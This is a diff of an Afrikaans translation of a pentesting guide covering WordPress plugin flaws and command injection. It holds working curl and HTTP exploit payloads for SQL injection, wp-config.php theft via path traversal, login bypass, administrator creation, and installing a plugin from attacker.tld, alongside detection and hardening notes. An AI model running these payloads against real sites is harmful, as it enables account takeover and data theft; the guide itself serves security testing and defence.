admin-gebruiker). +Omdat `wp-config.php` buite *uploads* lê, is vier `../` reekse genoeg op 'n standaard installasie. Deleting `wp-config.php` dwing WordPress by die volgende besoek in die *installasie-wizard*, wat 'n volledige site take-over moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker). -Ander impakvolle teikens sluit in plugin/theme `.php` lêers (om sekuriteits-plugins te breek) of `.htaccess` reëls. +Ander impakvolle teikens sluit plugin/theme `.php`-lêers (om sekuriteits-plugins te breek) of `.htaccess` reëls in. -#### Detection checklist +#### Opsporingskontrollys -* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.) aanroep. -* Koppeling van nie-gesaniteerde gebruikersinvoer in paadjies (kyk vir `$_POST`, `$_GET`, `$_REQUEST`). +* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers oproep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.). +* Samevoeging van nie-gefiltreerde gebruikersinsette in paaie (kyk vir `$_POST`, `$_GET`, `$_REQUEST`). * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`. --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Baie plugins implementeer 'n "view as role" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters berus (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys sonder om capabilities en 'n geldige nonce te kontroleer, word dit 'n vertical privilege escalation. +Baie plugins implementeer 'n "view as role" of tydelike rolwissel-funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te verifieer, word dit 'n vertical privilege escalation. -'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()`-kontrole of nonce-verifikasie uitgevoer nie voordat huidige rolle verwyder en die gestoor rolle vanuit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg is: +'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch herstel rolle gebaseer op `reset-for=` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg is: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Waarom dit uitbuitbaar is +Hoekom dit uitbuitbaar is -- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side toestemming. -- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en afgradeer is, kan hulle dit herstel deur die terugstelpad te besoek. -- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat steeds in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging). +- Vertrou `$_REQUEST['reset-for']` en 'n plugin-opsie sonder magtiging aan die bedienerzijde. +- As 'n gebruiker voorheen hoër voorregte gehad het wat in `_asenha_view_admin_as_original_roles` gestoor is en afgradeer is, kan hulle dit herstel deur die reset-pad te gebruik. +- In sommige ontplooiings kan enige geverifieerde gebruiker 'n reset veroorsaak vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` teenwoordig is (gebreekte magtiging). Uitbuiting (voorbeeld) ```bash @@ -493,23 +493,23 @@ Uitbuiting (voorbeeld) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (e.g., `administrator`), effectively escalating privileges. +Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle (bv. `administrator`) weer by, wat effektief privilegieë eskaleer. -Detection checklist +Opsporingskontrolelys -- Kyk vir role-switching features wat die “original roles” in user meta bewaar (e.g., `_asenha_view_admin_as_original_roles`). -- Identifiseer reset/restore paths wat: -- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`. +- Kyk na rol-wissel funksies wat "original roles" in user meta behou (bv. `_asenha_view_admin_as_original_roles`). +- Identifiseer reset/restore-paaie wat: +- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`. - Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`. -- Magtig op grond van 'n plugin option array (e.g., `viewing_admin_as_role_are`) in plaas van die akteur se capabilities. +- Machtig gebaseer op 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se bevoegdhede. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Ongeauthentiseerde privilegie-eskalering via koekie‑vertroude gebruikerswisseling op openbare `init` (Service Finder “sf-booking”) -Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID. +Sommige plugins koppel hulpfunksies vir gebruikerswisseling aan die openbare `init` hook en bepaal identiteit uit 'n kliënt-beheerde koekie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentisering, bevoegdhede en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om in te teken as 'n ewekansige gebruikers-ID. -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Waarom dit uitbuitbaar is -- Publieke `init` hook maak die hanteraar bereikbaar vir ongeauthentiseerde gebruikers (geen `is_user_logged_in()`-kontrole). +- Publieke `init` hook maak die handler bereikbaar vir ongeauthentiseerde gebruikers (geen `is_user_logged_in()` kontrole). - Identiteit word afgelei van 'n deur die kliënt wysigbare cookie (`original_user_id`). -- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker aan as daardie gebruiker sonder enige bevoegdheids-/nonce-kontroles. +- Direkte oproep na `wp_set_auth_cookie($uid)` meld die versoeker aan as daardie gebruiker sonder enige capability/nonce kontroles. -Eksploitasie (ongeauthentiseerd) +Exploitation (unauthenticated) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -556,20 +556,20 @@ Connection: close ### WAF-oorwegings vir WordPress/plugin CVEs -Generiese edge/server WAFs is afgestel op breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan. +Generiese edge/server WAFs is gekalibreer vir breë patrone (SQLi, XSS, LFI). Baie hoë‑impak WordPress/plugin‑foute is aansoek‑spesifieke logika/auth‑bugs wat soos onskuldige verkeer lyk tensy die engine WordPress‑roetes en plugin‑semantiek verstaan. -Aanvalsnotas +Offensiewe notas -- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Gebruik eers ongeauthentiseerde paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard-payloads slaag dikwels sonder obfuskasie. -- Tipiese hoë‑impak gevalle: privilege escalation (gebroke toegangsbeheer), arbitêre lêer oplaai/aflaai, LFI, open redirect. +- Teiken plugin‑spesifieke eindpunte met skoon payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Gebruik eers unauth‑pade (AJAX `nopriv`, REST met permissiewe `permission_callback`, publieke shortcodes). Standaard payloads slaag dikwels sonder obfuskasie. +- Tipiese hoë‑impak gevalle: privilege escalation (broken access control), arbitêre lêer‑upload/download, LFI, open redirect. -Verdedigingsnotas +Verdedigende notas -- Moenie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer aansoeklaag- en kwesbaarheidspesifieke virtuele pleisters of werk vinnig op. -- Gee voorkeur aan positiewe-sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidasie) bo negatiewe regex-filters. +- Moet nie staatmaak op generiese WAF‑handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid‑spesifieke virtuele pleisters of werk vinnig op. +- Verkies positive‑security kontroles in kode (capabilities, nonces, streng invoer‑validasie) bo negatiewe regex‑filters. -## WordPress Beskerming +## WordPress-beskerming ### Gereelde opdaterings @@ -579,26 +579,26 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **only install trustable WordPress plugins and themes**. +Installeer ook slegs **betroubare WordPress-plugins en -themes**. -### Security Plugins +### Sekuriteits-plugins - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **Other Recommendations** +### **Ander Aanbevelings** - Verwyder die standaard **admin** gebruiker - Gebruik **sterk wagwoorde** en **2FA** -- Hersien gereeld gebruikers se **toestemmings** -- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom -- Hernoem die **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe. +- **Hersien** periodiek gebruikers se **permissions** +- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom +- Hernoem die **`wp-admin.php`** lêer en laat slegs toegang toe vanaf interne netwerke of van sekere IP-adresse. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) +### Nie-geauthentiseerde SQL Injection as gevolg van onvoldoende validering (WP Job Portal <= 2.3.2) -Die WP Job Portal recruitment-plugin het 'n **savecategory** taak ontsluit wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer: +Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Issues introduced by this snippet: +Probleme wat deur hierdie snipet geskep word: -1. **Nie-gefiltreerde gebruikerinvoer** – `parentid` kom direk uit die HTTP-versoek. -2. **String-konkatenasie binne die WHERE-klousule** – geen `is_numeric()` / `esc_sql()` / prepared statement. -3. **Ongeauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit, kan bekom. +1. **Ongefiltreerde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek. +2. **String-samevoeging binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit. #### Exploitation -1. Kry 'n vars nonce: +1. Haal 'n vars nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Inject arbitrary SQL deur `parentid` te misbruik: +2. Inject arbitrary SQL by abusing `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Die response openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys. +Die reaksie openbaar die resultaat van die ingespuite navraag of verander die databasis, wat SQLi bewys. ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwetsbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op die skyf** af te laai via path traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` is attacker-controlled and concatenated **without sanitisation**. Weereens is die enigste hek 'n **CSRF nonce** wat vanaf die resume page gehaal kan word. +`$file_name` is deur 'n aanvaller beheer en aaneengekoppel **sonder sanitisering**. Weereens is die enigste hek 'n **CSRF nonce** wat vanaf die CV-bladsy verkry kan word. #### Exploitation ```bash @@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Die bediener antwoord met die inhoud van `wp-config.php`, leaking DB credentials and auth keys. +Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys. -## Ongeauthentiseerde rekeningoorname via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Baie themes/plugins lewer "social login" helpers blootgestel via admin-ajax.php. As 'n ongeauthentiseerde AJAX-aksie (wp_ajax_nopriv_...) kliënt-verskafde identifiseerders vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n volledige authentication bypass. +Baie themes/plugins lewer "social login" helpers wat via admin-ajax.php blootgestel word. As an unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers vertrou wanneer provider data ontbreek en dan wp_set_auth_cookie() aanroep, word dit 'n full authentication bypass. -Tipiese gebrekkige patroon (vereenvoudigde) +Tipiese foutiewe patroon (vereenvoudigde weergawe) ```php public function check_login() { // ... request parsing ... @@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -Hoekom dit uitbuitbaar is +Waarom dit uitbuitbaar is -- Ongeauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action). -- Geen nonce/capability checks voordat state change plaasvind. -- Ontbrekende OAuth/OpenID provider verification; default branch aanvaar attacker input. -- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) autentikeer die versoeker as enige bestaande e-posadres. +- Nie-geauthentiseerde bereikbaarheid via admin-ajax.php (wp_ajax_nopriv_… action). +- Geen nonce/capability kontroles voordat ’n staat verander word. +- Geen OAuth/OpenID provider verifikasie; die default branch aanvaar attacker-invoer. +- get_user_by('email', $_POST['id']) gevolg deur wp_set_auth_cookie($uid) authentiseer die versoeker as enige bestaande e-posadres. -Uitbuiting (ongeauthentiseerd) +Exploitation (unauthenticated) -- Vereistes: attacker kan /wp-admin/admin-ajax.php bereik en ken/raai 'n geldige gebruiker email. -- Stel provider op 'n unsupported value (of laat dit weg) om die default branch te tref en id= te stuur. +- Voorvereistes: attacker kan /wp-admin/admin-ajax.php bereik en weet/raai ’n geldige gebruikers-e-posadres. +- Stel provider op ’n nie-ondersteunde waarde (of laat dit weg) om die default branch te tref en id= deur te gee. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -708,39 +708,39 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Expected success indicators +Verwagte sukses-aanwysers -- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. +- HTTP 200 met JSON-liggaam soos {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* vir die slagoffer gebruiker; daaropvolgende versoeke is geauthentiseer. -Finding the action name +Om die aksienaam te vind -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). -- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. +- Inspekteer die theme/plugin vir add_action('wp_ajax_nopriv_...', '...') registrasies in social login-kode (bv., framework/add-ons/social-login/class-social-login.php). +- Grep vir wp_set_auth_cookie(), get_user_by('email', ...) binne AJAX handlers. -Detection checklist +Opsporingskontrolelys -- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. -- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. +- Weblogs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php wys met die social-login aksie en id=. +- 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent. -Hardening +Verharding -- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID. -- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary. -- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id). -- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed. +- Moet nie identiteit aflei uit kliëntinvoer nie. Aanvaar slegs e-posadresse/ID's wat afkomstig is van 'n gevalideerde verskaffer-token/ID. +- Vereis CSRF nonces en capability checks selfs vir aanmeldhulpmiddels; vermy die registrasie van wp_ajax_nopriv_ tensy dit absoluut nodig is. +- Valideer en verifieer OAuth/OIDC antwoorde server-side; verwerp ontbrekende/ongeldige providers (geen terugval na POST id nie). +- Oorweeg om social login tydelik uit te skakel of virtueel aan die edge te patch (blokkeer die kwesbare aksie) totdat dit reggemaak is. -Patched behaviour (Jobmonster 4.8.0) +Gepatchte gedrag (Jobmonster 4.8.0) -- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +- Verwyder die onveilige terugval uit $_POST['id']; $user_email moet afkomstig wees van geverifieerde provider-takke in switch($_POST['using']). -## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) +## Ongeauthentiseerde privilege-eskalasie via REST token/key minting op voorspelbare identiteit (OttoKit/SureTriggers ≤ 1.0.82) -Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). +Sommige plugins openbaar REST-endpoints wat herbruikbare “connection keys” of tokens mint sonder om die aanroeper se capabilities te verifieer. As die roete slegs op 'n raaiselbare attribuut (bv., username) autentiseer en nie die sleutel aan 'n gebruiker/sessie bind met capability checks nie, kan enige ongeauthentiseerde aanvaller 'n sleutel mint en bevoegde aksies aanroep (admin account creation, plugin actions → RCE). -- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection -- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback -- Impact: full takeover by chaining the minted key to internal privileged actions +- Kwetsbare roete (voorbeeld): sure-triggers/v1/connection/create-wp-connection +- Fout: aanvaar 'n username, gee 'n connection key uit sonder current_user_can() of 'n streng permission_callback +- Impak: volle oorname deur die geminte sleutel te koppel aan interne bevoegde aksies PoC – mint a connection key and use it ```bash @@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Hoekom dit uitbuitbaar is -- Sensitiewe REST-roete beskerm slegs deur 'n lae-entropie identiteitsbewys (username) of ontbrekende permission_callback -- Geen capability afdwinging; minted key word aanvaar as 'n universele omseiling +Waarom dit uitbuitbaar is +- Sensitiewe REST route wat slegs beskerm word deur 'n laag-entropie identiteitsbewys (username) of ontbrekende permission_callback +- Geen capability-afdwinging nie; minted key word aanvaar as 'n universele omseiling -Opsporingskontrolelys +Detection checklist - Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Enige roete wat tokens/keys uitreik gebaseer op request-supplied identity (username/email) sonder om dit aan 'n authenticated user of capability te koppel -- Kyk vir daaropvolgende roetes wat die minted token/key aanvaar sonder server-side capability checks +- Enige route wat tokens/keys uitreik gebaseer op deur die versoek verskafde identiteit (username/email) sonder om dit te koppel aan 'n geverifieerde gebruiker of 'n capability +- Soek na volgende routes wat die minted token/key aanvaar sonder server-side capability kontroles -Verharding -- Vir enige bevoorregte REST-roete: vereis permission_callback wat current_user_can() afdwing vir die vereiste capability -- Moet nie long-lived keys uit client-supplied identity mint nie; indien nodig, gee short-lived, user-bound tokens ná authentication en herkontroleer capabilities tydens gebruik -- Valideer die caller se user-konteks (wp_set_current_user is alleenlik nie voldoende nie) en verwerp requests waar !is_user_logged_in() || !current_user_can() +Hardening +- Vir enige bevoorregte REST route: vereis 'n permission_callback wat current_user_can() afdwing vir die vereiste capability +- Moet nie long-lived keys uit client-supplied identity skep nie; indien nodig, gee kortlewende, user-bound tokens uit na verifikasie en kontroleer capability weer tydens gebruik +- Valideer die oproeper se gebruikerskonteks (wp_set_current_user is nie afdoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can() --- -## Nonce gate misuse → nie-geauthentiseerde arbitrêre plugin installasie (FunnelKit Automations ≤ 3.5.3) +## Nonce gate misuse → ongeauthentiseerde arbitraire plugininstallasie (FunnelKit Automations ≤ 3.5.3) -Nonces voorkom CSRF, nie magtiging nie. As kode 'n nonce pas as 'n groen lig beskou en dan capability checks vir bevoorregte operasies oorslaan (bv. install/activate plugins), kan nie-geauthentiseerde aanvallers 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of vulnerable plugin te installeer. +Nonces voorkom CSRF, nie autorisasie nie. As kode 'n nonce-pass hanteer as 'n groen lig en dan capability kontroles vir bevoorregte operasies (bv. install/activate plugins) oorslaan, kan ongeauthentiseerde aanvallers aan 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of kwetsbare plugin te installeer. -- Vulnerable path: plugin/install_and_activate -- Fout: swak nonce hash check; geen current_user_can('install_plugins'|'activate_plugins') een maal nonce “passes” nie -- Impak: volledige kompromittering via arbitrêre plugin install/activation +- Kwetsbare pad: plugin/install_and_activate +- Fout: swak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impak: volle kompromittering via arbitraire plugininstallasie/-aktivering -PoC (vorm hang af van plugin; slegs illustratief) +PoC (shape depends on plugin; illustrative only) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` Opsporingskontrolelys -- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check nie -- Enige code path wat $skip_caps = true stel ná nonce-validasie +- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check +- Enige kodepad wat $skip_caps = true stel na nonce-validasie Verharding -- Hanteer nonces altyd slegs as CSRF tokens; dwing capability checks af ongeag nonce-status +- Hanteer nonces altyd as slegs CSRF tokens; afdwing capability checks ongeag nonce-toestand - Vereis current_user_can('install_plugins') en current_user_can('activate_plugins') voordat installer code bereik word -- Weier ongeauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows +- Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows --- -## Onauthentiseerde SQLi via die s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) +## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) -Verskeie depicter-* actions het die s (search) parameter verbruik en dit in SQL queries gekonkatenereer sonder parameterisering. +Verskeie depicter-* actions het die s (search) parameter gebruik en dit in SQL queries gekonkateneer sonder parameterisering. - Parameter: s (search) -- Kwetsbaarheid: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization -- Impak: database exfiltration (users, hashes), lateral movement +- Fout: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization +- Impact: databasis-ekstraksie (gebruikers, hashes), laterale beweging PoC ```bash @@ -812,35 +812,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -Opsporingskontrolelys -- Grep vir depicter-* aksiehandelaars en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL -- Hersien pasgemaakte queries wat aan $wpdb->get_results()/query() deurgegee word en s saamvoeg +Detection checklist +- Grep vir depicter-* action handlers en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL +- Hersien custom queries wat aan $wpdb->get_results()/query() deurgegee word en s aanmekaar heg -Verharding +Hardening - Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant -- Voeg 'n streng allowlist vir s by en normaliseer na die verwagte charset/lengte +- Voeg 'n streng allowlist vir s by en normaliseer dit na die verwagte charset/lengte --- -## Ongeauthentiseerde Local File Inclusion via nie-gevalideerde template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion via ongevalideerde template/file path (Kubio AI Page Builder ≤ 2.5.1) -Die aanvaar van aanvaller-beheerde paaie in 'n template-parameter sonder normalisering/beperking maak dit moontlik om arbitrêre plaaslike lêers te lees, en soms kode-uitvoering as inkludeerbare PHP/log-lêers in die runtime ingesleep word. +Aanvaarding van deur 'n aanvaller beheerde paaie in 'n template-parameter sonder normalisering/begrenzing laat toe om willekeurige plaaslike lêers te lees, en soms kode-uitvoering indien inkludeerbare PHP/log-lêers in die runtime ingesluit word. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: geen normalisering/allowlisting nie; traversal toegelaat -- Impak: geheimonthulling (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP) +- Flaw: geen normalisering/allowlisting; traversering toegelaat +- Impact: geheime openbaarmaking (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP) PoC – lees wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` Opsporingskontrolelys -- Enige handler wat versoekpaaie in include()/require()/read sinks aanmekaar koppel sonder realpath() containment -- Soek na traversal-patrone (../) wat buite die beoogde templates directory bereik +- Enige handler wat request-paaie saamvoeg in include()/require()/read sinks sonder realpath() containment +- Kyk vir traversal-patrone (../) wat buite die beoogde templates-gids bereik Verharding -- Dwing toegelate templates af; los op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base)) -- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lêernamme (nie volledige paaie nie) +- Dwing toegelate templates af; los dit op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base)) +- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lêernaam (nie volle paaie nie) ## Verwysings diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index dda571cc0..78b467043 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Wat is command Injection? -A **command injection** laat die uitvoering van ewekansige operating system commands toe deur 'n attacker op die server wat 'n application host. As gevolg hiervan kan die application en al sy data volledig gekompromitteer word. Die uitvoering van hierdie commands stel die attacker tipies in staat om ongemagtigde toegang of beheer oor die application's omgewing en onderliggende stelsel te verkry. +'n **command injection** maak die uitvoering van ewekansige bedryfstelselopdragte moontlik deur 'n aanvaller op die bediener wat 'n toepassing huisves. Gevolglik kan die toepassing en al sy data volledig gekompromiteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang tot of beheer oor die toepassing se omgewing en die onderliggende stelsel te verkry. ### Konteks -Afhangend van **waar jou invoer ingespuit word**, mag jy die **aangehaalde konteks** (met `"` of `'`) moet beëindig voordat jy opdragte kan uitvoer. +Afhangend van **waar jou invoer ingespuit word** mag dit nodig wees om die **aangehaalde konteks te beëindig** (using `"` or `'`) voor die opdragte. ## Command Injection/Execution ```bash @@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Beperking** Bypasses - -As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om oor hierdie **Bypasses:** te lees. +### **Beperkings** Omseilings +As jy probeer om **willekeurige opdragte in 'n linux-masjien** uit te voer, sal jy belangstel om te lees oor hierdie **Omseilings:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -47,7 +46,7 @@ vuln=echo 